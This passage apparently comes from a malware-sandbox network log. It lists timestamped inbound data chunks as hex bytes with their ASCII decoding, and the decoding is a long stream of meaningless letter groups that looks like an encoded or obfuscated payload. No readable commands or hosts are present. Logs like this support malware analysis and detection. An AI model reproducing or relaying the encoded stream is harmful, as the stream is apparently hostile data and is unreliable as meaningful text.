NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI WL NLY Ir NNr NNY MY NCV LL YL
2021-10-29 18:29:09 UTC	1264	IN	Data Raw: 43 20 72 49 20 59 56 20 59 72 20 49 72 20 4e 4e 72 20 4c 49 20 4e 43 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 63 4e 20 72 49 20 59 43 20 59 59 20 4d 57 20 63 63 20 4e 4e 59 20 4e 43 57 20 59 56 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 43 43 20 4c 43 20 4d 57 20 59 43 20 72 49 20 59 63 20 63 43 20 49 63 20 4e 4e 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 72 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 56 63 20 57 20 59 43 20 59 72 20 57 72 20 4e 56 4e 20 4e 4e 72 20 63 57 20 4d 72 20 59 43 20 72 49 20 59 63 20 56 4d 20 49 4c 20 4e 4e Data Ascii: C rI YV Yr Ir NNr LI NCI NNV YC NCY YN Yr Ir NNL NNM NCW NNV cN rI YC YY MW cc NNY NCW YV rI rI YC YL Ir NNr NCC LC MW YC rI Yc cC Ic NNN VrI YY NNV YC rW VL VLC NrC NNr NNM NCY II Y rI YC cC LW Mr NNM NCW NVV Vc W YC Yr Wr NVN NNr cW Mr YC rI Yc VM IL NN
2021-10-29 18:29:09 UTC	1266	IN	Data Raw: 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 56 4e 72 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 56 20 4d 56 20 59 4e 20 72 49 20 59 56 20 4c 57 20 49 4c 20 57 57 20 4e 4e 4c 20 4e 56 72 20 4e 4e 4d 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20 4e 63 43 20 4e 59 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20 49 20 59 43 20 59 72 20 57 72 20 56 57 20 56 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 63 20 56 63 20 72 49 20 49 72 20 4e 4e 72 20 4e 4e 59 20 56 20 4d 72 Data Ascii: NNr NNM NCI IY VVc VNr YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM V MV YN rI YV LW IL WW NNL NVr NNM rY cL NWN NCI Ir NNr NNc MV NcC NYY rI YC YC NVr cW NNM NCW NVV cY I YC Yr Wr VW VNM NCW NNV YV Yc Vc rI Ir NNr NNY V Mr
2021-10-29 18:29:09 UTC	1267	IN	Data Raw: 4e 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 4c 56 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 57 20 4c 59 20 59 59 20 72 4c 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 56 56 63 20 4e 59 57 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 72 59 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 72 4e 20 63 57 20 4e 4e 4d 20 4e 43 49 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 72 Data Ascii: N NIM Nr NNr NNM NCI IY VVc NLV YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM NVc NNW LY YY rL NIM Nr NNr NNM NCI IY VVc NYW YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc rY NNV YC YI LN rN cW NNM NCI VVr rV YC rI YN NW NLV Nr
2021-10-29 18:29:09 UTC	1268	IN	Data Raw: 59 20 4e 72 20 63 57 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 43 43 20 4c 4c 20 59 72 20 4c 59 20 59 43 20 63 57 20 4e 4e 57 20 4e 43 63 20 4e 56 43 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 59 4d 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 59 72 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4e 20 49 49 20 59 56 20 72 49 20 59 43 20 72 49 20 4c 49 20 4e 20 4e 4e 57 20 4e 43 57 20 43 20 4d 63 20 72 63 20 59 43 20 59 72 20 57 72 20 56 57 20 4e 43 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4c 20 63 57 20 4e 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 57 20 59 49 20 4c 4c 20 59 49 20 4c 57 20 49 43 20 57 57 20 4e 4e 56 20 Data Ascii: Y Nr cW NNY NNM NCW NCC LL Yr LY YC cW NNW NCc NVC VYL NCr rI YC YY NNL NcV NYM NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI WL NYr Ir NNr NNY NCN II YV rI YC rI LI N NNW NCW C Mc rc YC Yr Wr VW NCc NCW NNV Yc LY YL cW Nc NNY NNM NCM WW YI LL YI LW IC WW NNV
2021-10-29 18:29:09 UTC	1270	IN	Data Raw: 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 72 20 63 20 4e 20 72 56 20 72 49 20 4c 4c 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 59 20 4e 20 4e 20 59 4d 20 49 4d 20 57 43 20 63 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 43 20 56 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4e 43 4c 20 57 4e 20 63 43 20 59 43 20 4c 63 20 4c 72 20 4e 56 72 20 49 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 57 4c 20 4e 4e 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 4e 4d 4e 20 4e 4e 43 20 49 63 20 56 4c 63 20 72 49 20 59 56 20 56 49 20 49 59 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 72 20 59 43 20 4c 20 4e 4e 4e 20 4e 4e 72 20 4e 4e 49 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 4c 4c 20 63 20 49 63 20 4e 4e 72 20 49 56 20 4e 43 57 20 4e 4e 56 Data Ascii: M Ir NNr NVM NNr c N rV rI LL YW IY NNM NCW NVV rY N N YM IM WC cV NCW NNV Yc YC Vc rC Ir NNr NNY NCL WN cC YC Lc Lr NVr Ir NNM NCW NNI WL NN YC Yr Wr NVC NMN NNC Ic VLc rI YV VI IY WI NNM NCW NNV YC Yr YC L NNN NNr NNI WI NNV YC rW LL c Ic NNr IV NCW NNV
2021-10-29 18:29:09 UTC	1271	IN	Data Raw: 20 57 4c 20 4e 43 4e 20 4e 4e 56 20 59 43 20 56 4d 20 57 4c 20 56 72 49 20 49 59 20 4e 4e 72 20 4e 4e 59 20 56 20 4e 63 4e 20 59 4e 20 72 49 20 59 56 20 63 43 20 4e 4c 49 20 4e 4e 4c 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 56 4c 63 20 59 4e 20 56 43 20 56 4c 56 20 49 72 20 4e 4e 63 20 57 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4e 4c 20 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4d 20 72 57 20 59 43 20 59 72 20 4d 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 49 4c 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 72 20 59 4e 20 59 72 20 49 72 20 57 43 20 4e 4e 63 20 4e 43 57 20 4e 4e Data Ascii: WL NCN NNV YC VM WL VrI IY NNr NNY V NcN YN rI YV cC NLI NNL IL NMW NNV VLc YN VC VLV Ir NNc WY NCW NNV YC NNL c Yr Ir NNr NNM NCW NNV YM rW YC Yr Mc NNr NNM NCW IL YN rI YC YL Ir NNr NNM WI NNV YC rW YC Yr Ir NNr NVN NCW NNV YC rr YN Yr Ir WC NNc NCW NN
2021-10-29 18:29:09 UTC	1272	IN	Data Raw: 43 20 4e 56 63 20 72 43 20 4e 4e 72 20 57 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 56 72 57 20 56 59 59 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56 20 4e 4e 72 20 72 57 20 59 43 20 59 72 20 57 59 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 56 4e 20 72 57 20 59 43 20 72 49 20 57 72 20 4e 4e 56 20 56 63 20 59 56 20 4e 4e 56 20 59 43 20 59 49 20 57 4c 20 4e 43 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 56 20 4d 56 20 4e 72 59 20 72 49 20 59 43 20 59 72 20 49 4c 20 56 57 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 56 4e 20 4e 43 4e 20 4c 4e 20 4e 4e 43 20 72 49 20 59 43 20 63 43 20 4c 49 20 56 72 Data Ascii: C NVc rC NNr WM NCW NNV YC rI YC Yr IV NNr VrW VYY NNV rW YI YC Yr IY NCY cW NCY NNV NNr rW YC Yr WY NNr NNM NVr L NVN rW YC rI Wr NNV Vc YV NNV YC YI WL NCW Ir NNr NVM NCV MV NrY rI YC Yr IL VW NVV NCW NNV Yc cI LM Yr Ir NNY NVN NCN LN NNC rI YC cC LI Vr
2021-10-29 18:29:09 UTC	1274	IN	Data Raw: 72 20 4e 56 4e 20 4e 43 57 20 4e 4e 56 20 4c 59 20 63 4d 20 72 4c 20 59 72 20 49 72 20 4e 56 43 20 4e 56 4d 20 4e 4e 4e 20 4e 72 20 72 49 20 72 57 20 59 43 20 59 43 20 4e 4e 4c 20 57 59 20 57 49 20 4d 59 20 4e 72 20 59 4e 20 72 57 20 59 43 20 59 43 20 4e 4d 43 20 4e 4e 63 20 4e 59 4e 20 4e 43 49 20 4e 4e 56 20 59 56 20 63 4d 20 72 43 20 59 72 20 49 72 20 4e 56 43 20 49 43 20 56 4c 4d 20 4e 4e 72 20 59 4e 20 72 49 20 59 72 20 4c 43 20 49 59 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4c 4e 20 72 63 20 72 49 20 59 43 20 63 43 20 57 59 20 4d 72 20 63 72 20 4e 43 49 20 4e 4e 56 20 59 43 20 59 59 20 57 4c 20 72 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 57 4d 20 4e 56 43 20 72 56 20 4c 57 20 4c 4d 20 4e 49 4d 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 49 59 20 4c 63 Data Ascii: r NVN NCW NNV LY cM rL Yr Ir NVC NVM NNN Nr rI rW YC YC NNL WY WI MY Nr YN rW YC YC NMC NNc NYN NCI NNV YV cM rC Yr Ir NVC IC VLM NNr YN rI Yr LC IY NNr NNM MC LN rc rI YC cC WY Mr cr NCI NNV YC YY WL rL Ir NNr NVM WM NVC rV LW LM NIM NV NNr NNM NCI IY Lc
2021-10-29 18:29:09 UTC	1275	IN	Data Raw: 20 72 49 20 59 43 20 59 72 20 4e 4c 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 72 43 20 59 4e 20 72 49 20 59 43 20 59 63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4d 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 4d 20 59 4e 20 59 72 20 49 72 20 56 63 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 72 57 20 72 49 20 59 43 20 59 72 20 57 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 72 56 20 4e 4e 4c 20 59 43 20 72 49 20 4d 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 72 Data Ascii: rI YC Yr NLI NNr NNM NCW rC YN rI YC Yc Ir NNr NNM NCW NNV YC rI YC Yr Ir NNr MV NCW NNV YC VM YN Yr Ir Vc NNc NCW NNV rW rI YC Yr Wr NNr NNM NCI NNr YC rI YC M Ir NNr NNM rV NNL YC rI Mr YY Ir NNr NVM NCW NNV YC rI YC Yr Ir NNr NNM NCW NNV YV rI YC Yr r
2021-10-29 18:29:09 UTC	1276	IN	Data Raw: 20 59 43 20 59 72 20 49 43 20 57 43 20 63 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 63 4d 20 4e 43 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 57 4c 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 4e 4c 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 43 20 72 49 20 59 63 20 49 57 20 57 49 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59 56 20 59 63 20 4c 59 20 59 43 20 4d 49 20 56 59 59 20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 43 49 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57 20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 4e 59 49 20 72 49 20 59 43 20 72 49 20 59 57 20 4d 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 49 20 59 4e 20 59 72 20 49 56 20 57 57 20 4e 4e Data Ascii: YC Yr IC WC cc NCW NNV Yc cM NC Yr Ir NVC Vc NWL NNV YC Yr WL NL Ir NNr NVM cW rW YC rI Yc IW WI NNY NNM NCM WM YV Yc LY YC MI VYY rM NCW NNV YN VN VVc VCI Ir NNr NNL cW MN YC rI Yc cW NCI NNr NNM NCL LN NYI rI YC rI YW ML NNM NCW NVV WL I YN Yr IV WW NN
2021-10-29 18:29:09 UTC	1278	IN	Data Raw: 20 59 63 20 4d 49 20 72 72 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 4e 72 20 4e 4e 56 20 59 43 20 59 49 20 4c 72 20 59 72 20 49 63 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4d 59 20 72 63 20 56 4c 56 20 4e 56 56 20 4c 4e 20 49 59 20 72 49 20 59 43 20 63 43 20 57 59 20 4e 4e 4d 20 4e 43 57 20 56 72 4d 20 4e 4e 43 20 4e 57 4e 20 4e 43 63 20 59 43 20 59 72 20 49 59 20 49 4d 20 4e 63 59 20 56 72 4c 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 4c 43 20 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 56 20 59 56 20 59 59 20 4c 4d 20 4e 4d 56 20 57 72 20 49 57 20 4e 4e 4c 20 4e 43 63 20 4e 43 56 20 4e 63 49 20 59 49 20 56 4c 63 20 59 4c 20 Data Ascii: Yc MI rr Yr Ir NVC Vc NNr NNV YC YI Lr Yr Ic NCN VrI YY NNV YC rW VL LV MY rc VLV NVV LN IY rI YC cC WY NNM NCW VrM NNC NWN NCc YC Yr IY IM NcY VrL NNV YC YV Vc N Ir NNr NVM LC MV YC rI Yc LC W NNr NNM NCL WV YV YY LM NMV Wr IW NNL NCc NCV NcI YI VLc YL
2021-10-29 18:29:09 UTC	1279	IN	Data Raw: 59 72 20 49 59 20 49 4d 20 4e 63 59 20 4e 63 56 20 4e 4e 56 20 59 43 20 59 56 20 56 63 20 4e 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4c 43 20 4d 56 20 59 43 20 72 49 20 59 63 20 63 49 20 72 57 20 4e 4e 4c 20 4e 4e 4d 20 56 57 20 4e 72 20 72 72 20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 57 56 20 59 43 20 59 72 20 57 72 20 56 57 20 72 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 4c 59 20 59 4d 20 4c 57 20 57 72 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 57 20 57 56 20 4c 57 20 57 59 20 57 43 20 4d 4c 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 57 20 49 4d 20 4c 43 20 59 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 57 4d 20 59 63 20 56 72 20 4e 56 4e 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 4e 56 20 4e 4e Data Ascii: Yr IY IM NcY NcV NNV YC YV Vc N Ir NNr NVM LC MV YC rI Yc cI rW NNL NNM VW Nr rr rI YC cC NVr NCW NNM NCW NVV WL WV YC Yr Wr VW rL NCW NNV Yc LY YM LW Wr WC ML NCW NNV Yc VW WV LW WY WC ML NCW NNV Yc VW IM LC YV NNr NNM NCL WM Yc Vr NVN Yr Ir NVC Vc NV NN
2021-10-29 18:29:09 UTC	1280	IN	Data Raw: 4e 4d 20 4e 43 4d 20 57 43 20 63 49 20 59 43 20 56 63 20 4c 59 20 49 72 20 4e 4e 72 20 4e 4e 59 20 4c 4e 20 49 59 20 59 72 20 72 49 20 63 63 20 4c 43 20 4e 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4d 20 49 49 20 59 63 20 72 49 20 59 43 20 56 57 20 49 4d 20 4e 4e 49 20 56 63 20 4e 4c 4c 20 4e 4e 4c 20 59 43 20 59 72 20 56 72 20 59 72 20 4d 4e 20 63 63 20 4e 56 63 20 4e 43 57 20 57 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 4e 4e 20 49 49 20 4c 57 20 72 49 20 59 43 20 72 49 20 4c 49 20 72 59 20 4e 4e 4c 20 4e 43 57 20 43 20 56 63 20 56 4c 4c 20 59 43 20 59 72 20 49 56 20 57 43 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 56 59 20 59 4e 20 59 72 20 59 4e 20 57 43 20 4e 4e 49 20 4e 56 4c 20 4e 43 72 20 4e 56 63 20 59 56 20 63 56 20 Data Ascii: NM NCM WC cI YC Vc LY Ir NNr NNY LN IY Yr rI cc LC NrN NNr NNM NCM II Yc rI YC VW IM NNI Vc NLL NNL YC Yr Vr Yr MN cc NVc NCW WV YC rI YC Yr Ir NNr NNM NNN II LW rI YC rI LI rY NNL NCW C Vc VLL YC Yr IV WC NVc NCW NNV VY YN Yr YN WC NNI NVL NCr NVc YV cV
2021-10-29 18:29:09 UTC	1282	IN	Data Raw: 4e 49 49 20 49 57 20 4e 43 4d 20 4e 49 4d 20 63 43 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 4e 56 59 20 59 4c 20 59 59 20 4e 49 49 20 57 59 20 4d 59 20 57 49 20 72 72 20 4e 43 4e 20 4e 43 56 20 72 59 20 4c 56 20 56 63 20 49 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 63 20 4e 43 56 20 59 57 20 4c 49 20 59 4c 20 4e 49 72 20 63 4e 20 4e 56 56 20 56 59 4e 20 72 20 72 4e 20 56 63 20 57 59 20 59 43 20 59 72 20 57 72 20 4e 20 4e 43 56 20 4e 43 57 20 4e 4e 56 20 59 56 20 59 4e 20 59 56 20 4c 72 20 57 4c 20 4e 56 56 20 56 63 20 4d 4d 20 4e 4e 56 20 59 43 20 59 72 20 4c 4c 20 59 43 20 4e 4c 49 20 4e 4e 57 20 49 4c 20 4e 4d 57 20 4e 4e 56 20 4c 49 20 56 63 20 4c 59 20 59 43 20 4e 56 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 49 20 57 63 20 59 43 20 72 49 20 59 43 20 59 72 Data Ascii: NII IW NCM NIM cC NNr NNM NCI NVY YL YY NII WY MY WI rr NCN NCV rY LV Vc IW Ir NNr NVM NCc NCV YW LI YL NIr cN NVV VYN r rN Vc WY YC Yr Wr N NCV NCW NNV YV YN YV Lr WL NVV Vc MM NNV YC Yr LL YC NLI NNW IL NMW NNV LI Vc LY YC NVc NNr NNM NCI Wc YC rI YC Yr
2021-10-29 18:29:09 UTC	1283	IN	Data Raw: 43 20 72 49 20 4c 57 20 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d 56 20 56 72 20 4d 4e 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 56 20 56 20 43 20 59 43 20 72 49 20 59 63 20 63 4e 20 49 63 20 4e 4e 63 20 4d 20 56 72 43 20 4e 4e 4d 20 59 43 20 63 72 20 59 4c 20 72 57 20 56 4e 49 20 56 4d 20 57 57 20 63 57 20 4e 43 4d 20 59 43 20 72 49 20 59 56 20 56 63 20 49 56 20 4e 20 72 20 4e 43 57 20 4e 4e 56 20 59 63 20 4d 72 20 59 56 20 56 49 20 4d 4e 20 63 63 20 4e 56 4d 20 4e 43 57 20 56 72 4e 20 59 43 20 72 49 20 59 43 20 4c 59 20 49 72 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 4e 59 20 63 72 20 4e 4c 59 20 59 59 20 59 72 20 4c 63 20 57 43 20 49 4e 20 4e 43 57 20 4e 4e 56 20 59 56 20 4c 49 20 56 63 20 63 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4e 4e 49 Data Ascii: C rI LW L NNM NCW NVV MV Vr MN Yr Ir NVC NNV V C YC rI Yc cN Ic NNc M VrC NNM YC cr YL rW VNI VM WW cW NCM YC rI YV Vc IV N r NCW NNV Yc Mr YV VI MN cc NVM NCW VrN YC rI YC LY Ir NNr NCC NNN NNY cr NLY YY Yr Lc WC IN NCW NNV YV LI Vc cW Ir NNr NVM NCL NNI
2021-10-29 18:29:09 UTC	1284	IN	Data Raw: 57 43 20 56 56 72 20 56 72 20 49 56 20 59 72 20 49 72 20 4e 56 43 20 4e 43 63 20 57 4d 20 56 59 4c 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4c 4e 20 63 63 20 72 49 20 59 43 20 63 43 20 49 4d 20 4e 4e 49 20 57 4c 20 4d 72 20 4e 4e 56 20 59 43 20 59 72 20 57 4c 20 49 4d 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 56 20 59 43 20 72 4c 20 56 20 59 4c 20 49 72 20 4e 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4c 4c 20 72 49 20 59 43 20 4c 57 20 49 63 20 57 72 20 4e 4e 4c 20 4e 4e 4e 20 56 59 72 20 4c 4e 20 59 56 20 4c 49 20 63 43 20 Data Ascii: WC VVr Vr IV Yr Ir NVC NCc WM VYL NCr rI YC YY NNL NcV NLY NCW NNV Yr Vr Y Yr Ir NVC c IY NNV YC YI Vc II Ir NNr NVM NNN LN cc rI YC cC IM NNI WL Mr NNV YC Yr WL IM Ir NNr NVM MN NNV YC rL V YL Ir NNN NNM NCW NNV LL rI YC LW Ic Wr NNL NNN VYr LN YV LI cC
2021-10-29 18:29:09 UTC	1285	IN	Data Raw: 4c 59 20 59 4c 20 4c 4c 20 4e 56 20 4e 43 63 20 72 43 20 63 72 20 4e 56 72 20 59 56 20 63 63 20 4e 4e 63 20 72 57 20 49 72 20 56 20 57 4c 20 4d 43 20 4e 4e 56 20 59 43 20 59 49 20 59 63 20 72 57 20 63 4d 20 72 56 20 4e 56 63 20 4e 43 63 20 4e 4e 72 20 57 4c 20 4e 4d 49 20 59 43 20 59 72 20 57 72 20 4d 4d 20 4c 57 20 4e 72 63 20 4e 72 4c 20 56 43 59 20 59 72 20 56 72 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 56 20 57 4c 20 4e 4e 4d 20 59 43 20 4e 4e 56 20 59 43 20 59 72 20 49 72 20 4e 43 4d 20 4e 4e 4d 20 4e 43 57 20 57 4d 20 63 59 20 4e 4d 57 20 59 43 20 59 72 20 57 72 20 4e 56 43 20 57 57 20 4e 43 56 20 57 4e 20 56 43 20 59 72 20 72 49 20 72 57 20 59 57 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 72 57 20 59 59 20 72 57 20 49 57 20 56 43 49 20 4e 4e 72 Data Ascii: LY YL LL NV NCc rC cr NVr YV cc NNc rW Ir V WL MC NNV YC YI Yc rW cM rV NVc NCc NNr WL NMI YC Yr Wr MM LW Nrc NrL VCY Yr Vr Yr Ir NNr NCV WL NNM YC NNV YC Yr Ir NCM NNM NCW WM cY NMW YC Yr Wr NVC WW NCV WN VC Yr rI rW YW IY NNM NCW NVV rW YY rW IW VCI NNr
2021-10-29 18:29:09 UTC	1287	IN	Data Raw: 20 4e 4d 43 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 59 4e 20 59 72 20 63 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 4d 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4c 20 59 43 20 59 4e 20 59 72 20 49 56 20 4e 56 43 20 4e 4d 4e 20 4e 43 72 20 49 63 20 4c 63 20 59 49 20 56 4c 63 20 59 72 20 49 56 20 49 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 4c 56 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 63 20 63 43 20 72 49 20 59 59 20 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 49 20 63 72 20 72 49 20 72 49 20 4c 4d 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 4e 43 57 20 4e 4e 56 20 4c 59 20 59 43 20 4d 4c 20 59 56 20 49 72 Data Ascii: NMC Yr IN NVY NNM NCW NNL rN C YN Yr cY NNr NNM NCW NCM YC rI LY YV rM NNV NNM NCW NNc WL YC YN Yr IV NVC NMN NCr Ic Lc YI VLc Yr IV II NNM NCW NNV YN LV YC Yr Ir NNr NNM NCW NVc cC rI YY YM Ir NNr NNc NNI cr rI rI LM Yr Ir NNr NNC NCW NNV LY YC ML YV Ir
2021-10-29 18:29:09 UTC	1288	IN	Data Raw: 59 56 20 72 57 20 49 57 20 49 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 4e 56 56 20 56 4c 63 20 59 4c 20 56 43 20 4c 56 20 57 72 20 4e 4d 56 20 4e 4e 4d 20 4e 43 4d 20 57 43 20 59 43 20 72 49 20 59 4e 20 4c 49 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 63 4c 20 63 4e 20 59 72 20 49 4e 20 4e 56 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 72 4e 20 43 20 72 49 20 59 72 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 43 49 20 59 43 20 72 49 20 4c 59 20 59 56 20 72 4d 20 4e 4e 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 72 57 20 57 59 20 4c 63 20 59 59 20 49 72 20 4e 4e 63 20 